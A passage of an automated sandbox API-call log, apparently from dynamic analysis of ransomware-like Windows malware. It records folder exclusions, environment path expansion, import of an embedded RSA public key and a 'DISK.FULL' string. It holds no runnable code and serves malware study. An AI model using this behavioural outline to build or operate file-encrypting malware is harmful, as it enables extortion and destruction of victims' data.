Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c798) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1f8) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c750) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1e8) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c708) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d208) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c6c0) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d218) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c678) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d228) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c630) returned 1 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d238) returned 1 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5e8) returned 1 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d248) returned 1 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2155058) returned 1 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dae0 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c1f8, cbMultiByte=25, lpWideCharStr=0x252dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252db68 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dae0) returned 1 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d248 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dae0 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252db68) returned 1 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252db68 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c1b0, cbMultiByte=12, lpWideCharStr=0x252db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dbf0 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252db68) returned 1 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d238 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252db68 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dbf0) returned 1 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dbf0 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c168, cbMultiByte=8, lpWideCharStr=0x252dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dc78 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dbf0) returned 1 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d228 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dbf0 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dc78) returned 1 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dc78 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c120, cbMultiByte=6, lpWideCharStr=0x252dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dd00 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dc78) returned 1 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d218 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dc78 [0165.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd00) returned 1 [0165.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0165.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dd00 [0165.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c240, cbMultiByte=11, lpWideCharStr=0x252dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dd88 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd00) returned 1 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252dd00 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d208 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252de28 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd88) returned 1 [0165.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252deb0 [0165.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c0d8, cbMultiByte=7, lpWideCharStr=0x252deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252df38 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252deb0) returned 1 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1e8 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252deb0 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252df38) returned 1 [0165.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252df38 [0165.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c288, cbMultiByte=11, lpWideCharStr=0x252df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dfc0 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252df38) returned 1 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1f8 [0165.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252df38 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dfc0) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2c8) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1b0) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d298) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d288) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d278) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2152850 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2152850 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d278 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d288 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d618 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d298 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2e8 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5e8 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d278) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d288) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d288 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d278 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d298) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1b0) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2c8) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5e8) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2e8) returned 1 [0165.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d618) returned 1 [0165.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d618 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2e8 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5e8 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d298 [0165.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d288) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d278) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0165.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.652] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x2152850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0165.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2152850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0165.652] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x2152850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0165.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2152850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0165.652] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x2152850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0165.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2152850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0165.653] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x2152850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0165.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2152850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0165.653] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x36f608, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x36f608, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0165.653] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x2157cf8, pcbBinary=0x36f608, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2157cf8, pcbBinary=0x36f608, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0165.653] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2157cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x36f608 | out: pvStructInfo=0x0, pcbStructInfo=0x36f608) returned 1 [0165.657] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2157cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x2157f40, pcbStructInfo=0x36f608 | out: pvStructInfo=0x2157f40, pcbStructInfo=0x36f608) returned 1 [0165.657] CryptImportPublicKeyInfo (in: hCryptProv=0x7edfe8, dwCertEncodingType=0x10001, pInfo=0x2157f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x2157f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x2157f78*, PublicKey.cUnusedBits=0x0), phKey=0x36f60c | out: phKey=0x36f60c*=0x7edfa8) returned 1 [0165.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157f40) returned 1 [0165.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157cf8) returned 1 [0165.658] ReleaseMutex (hMutex=0xa0) returned 1 [0165.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2155058) returned 1 [0165.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2155058 [0165.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c900 [0165.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c900) returned 1 [0165.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2155058) returned 1 [0165.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2155058 [0165.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c900 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c900) returned 1 [0165.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c900 [0165.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0165.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e1e0 [0165.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c900, cbMultiByte=9, lpWideCharStr=0x252e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0165.659] RtlAllocateHeap (HeapHandle=0x2520000, 